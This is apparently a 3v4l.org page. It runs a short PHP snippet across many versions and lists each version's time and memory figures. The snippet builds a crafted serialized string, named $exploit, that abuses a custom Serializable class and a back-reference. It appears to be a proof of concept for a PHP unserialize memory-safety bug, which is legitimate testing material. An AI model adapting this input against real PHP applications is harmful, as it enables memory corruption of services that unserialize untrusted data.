3v4l.org

run code in 300+ PHP versions simultaneously
<?php class obj implements Serializable { public $data; public function serialize() { return serialize($this->data); } public function unserialize($data) { $this->data = unserialize($data); $this->data = 1; } } $inner = 'a:0:{}'; $exploit = 'a:2:{i:0;C:3:"obj":' . strlen($inner) . ':{' . $inner . '}i:1;R:3;}'; $data = unserialize($exploit); var_dump(serialize($data));

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.70.0100.00716.88
8.3.60.0110.00416.50
8.3.50.0110.00722.03
8.3.40.0150.00018.89
8.3.30.0060.00918.67
8.3.20.0050.00320.16
8.3.10.0000.00723.50
8.3.00.0030.00519.25
8.2.190.0060.00916.58
8.2.180.0130.00918.13
8.2.170.0030.01022.96
8.2.160.0100.00320.55
8.2.150.0080.00024.18
8.2.140.0040.00424.66
8.2.130.0070.00026.16
8.2.120.0030.00626.16
8.2.110.0100.00020.38
8.2.100.0030.01017.93
8.2.90.0000.01119.26
8.2.80.0050.00317.97
8.2.70.0030.00517.50
8.2.60.0050.00318.03
8.2.50.0040.00418.07
8.2.40.0040.00419.28
8.2.30.0000.00720.65
8.2.20.0040.00417.69
8.2.10.0050.00318.06
8.2.00.0000.00818.02
8.1.280.0100.01025.92
8.1.270.0080.00023.97
8.1.260.0070.00026.35
8.1.250.0050.00228.09
8.1.240.0050.00522.46
8.1.230.0000.01117.79
8.1.220.0000.00917.74
8.1.210.0000.00918.77
8.1.200.0000.01117.48
8.1.190.0040.00417.35
8.1.180.0050.00318.10
8.1.170.0050.00518.47
8.1.160.0070.00022.06
8.1.150.0000.00718.87
8.1.140.0030.00619.69
8.1.130.0000.00717.72
8.1.120.0000.00717.51
8.1.110.0040.00417.41
8.1.100.0070.00017.46
8.1.90.0000.00717.47
8.1.80.0000.00717.35
8.1.70.0040.00417.48
8.1.60.0070.00317.48
8.1.50.0000.00817.46
8.1.40.0040.00417.43
8.1.30.0080.00017.60
8.1.20.0040.00417.69
8.1.10.0030.00517.61
8.1.00.0060.00317.53
8.0.300.0040.00418.77
8.0.290.0060.00316.88
8.0.280.0040.00418.52
8.0.270.0020.00517.18
8.0.260.0000.00617.29
8.0.250.0000.00816.97
8.0.240.0030.00517.01
8.0.230.0040.00416.90
8.0.220.0050.00216.91
8.0.210.0040.00416.90
8.0.200.0000.00616.92
8.0.190.0060.00317.03
8.0.180.0040.00417.00
8.0.170.0030.00516.88
8.0.160.0000.00817.06
8.0.150.0000.00716.77
8.0.140.0040.00416.94
8.0.130.0050.00013.36
8.0.120.0050.00316.97
8.0.110.0000.00817.04
8.0.100.0030.00616.89
8.0.90.0040.00416.94
8.0.80.0090.01216.93
8.0.70.0040.00417.00
8.0.60.0070.00016.92
8.0.50.0000.00816.84
8.0.30.0040.01517.06
8.0.20.0130.00617.40
8.0.10.0050.00316.96
8.0.00.0120.00816.90
7.4.330.0050.00015.10
7.4.320.0030.00316.61
7.4.300.0030.00316.41
7.4.290.0000.00716.59
7.4.280.0050.00316.63
7.4.270.0030.00316.64
7.4.260.0050.00216.50
7.4.250.0030.00316.44
7.4.240.0020.00516.52
7.4.230.0050.00316.51
7.4.220.0060.01416.59
7.4.210.0080.00716.61
7.4.200.0040.00416.42
7.4.160.0070.01016.61
7.4.150.0110.00617.40
7.4.140.0140.00617.86
7.4.130.0110.00816.46
7.4.120.0060.01016.63
7.4.110.0120.00816.57
7.4.100.0080.00816.56
7.4.90.0090.00916.29
7.4.80.0120.00919.39
7.4.70.0070.01016.50
7.4.60.0000.01716.48
7.4.50.0000.00716.70
7.4.40.0140.00316.63
7.4.30.0100.01016.50
7.4.00.0070.01015.20
7.3.330.0030.00313.25
7.3.320.0000.00513.35
7.3.310.0070.00016.19
7.3.300.0000.00716.26
7.3.290.0030.00316.25
7.3.280.0060.01116.34
7.3.270.0130.01017.40
7.3.260.0120.01016.45
7.3.250.0100.00716.52
7.3.240.0080.00916.46
7.3.230.0150.00416.45
7.3.210.0100.00716.73
7.3.200.0100.00716.67
7.3.190.0080.00816.33
7.3.180.0030.01516.34
7.3.170.0110.01116.55
7.3.160.0130.00316.53
7.2.330.0100.00716.83
7.2.320.0100.00716.88
7.2.310.0080.00816.48
7.2.300.0060.01616.81
7.2.290.0090.01316.77
7.2.60.0070.01017.06
7.2.00.0030.01219.56
7.1.200.0070.00715.82
7.1.70.0030.00517.22
7.1.60.0070.00416.87
7.1.50.0000.02417.04
7.1.00.0030.07722.27
7.0.200.0030.01416.66
7.0.60.0070.08719.96
7.0.50.0030.08317.86
7.0.40.0030.08720.11
7.0.30.0100.06720.17
7.0.20.0370.06720.21
7.0.10.0030.04720.24
7.0.00.0100.05320.11
5.6.280.0030.05721.13
5.6.210.0070.08020.63
5.6.200.0070.04718.29
5.6.190.0070.04020.39
5.6.180.0200.09020.46
5.6.170.0270.05320.61
5.6.160.0030.05720.51
5.6.150.0070.06318.19
5.6.140.0100.03318.14
5.6.130.0070.05718.12
5.6.120.0030.04321.05
5.6.110.0070.08320.96
5.6.100.0030.08321.11
5.6.90.0000.04321.08
5.6.80.0030.06320.39
5.5.350.4170.04320.41
5.5.340.0030.08018.07
5.5.330.0070.08720.44
5.5.320.0200.04020.32
5.5.310.0370.08020.30
5.5.300.0100.03318.01
5.5.290.0030.06318.04
5.5.280.0130.06720.77
5.5.270.0000.05020.80
5.5.260.0070.06720.84
5.5.250.0070.08720.70
5.5.240.0370.06020.28

preferences:
69.58 ms | 401 KiB | 5 Q